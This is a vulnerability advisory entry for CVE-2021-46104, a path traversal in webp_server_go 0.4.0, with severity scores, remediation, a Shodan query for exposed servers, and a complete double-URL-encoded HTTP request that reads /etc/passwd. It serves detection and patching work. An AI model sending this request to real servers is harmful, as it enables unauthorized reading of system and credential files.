| Title | webp_server_go 0.4.0 - Path Traversal |
|---|---|
| Author | pikpikcu |
| Severity | High |
| Impact | Unauthenticated attackers can read arbitrary files from the server including /etc/passwd via path traversal using double URL encoding. |
| Remediation | Upgrade to webp_server_go version 0.4.1 or later that properly sanitizes file paths. |
| CVSS Score | 7.5 |
| EPSS Score | 0.14775 |
| CVE ID | CVE-2021-46104 |
| CWE ID | CWE-22 |
| Shodan Query | http.html:"Webp" |
| Tags | cve cve2021 lfi webp vuln |
webp_server_go 0.4.0 contains a path traversal caused by insufficient sanitization in file handling, letting attackers read arbitrary files on the server, exploit requires attacker to send crafted requests.
GET /%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_2) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-46104.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-46104.pcap
N/AN/A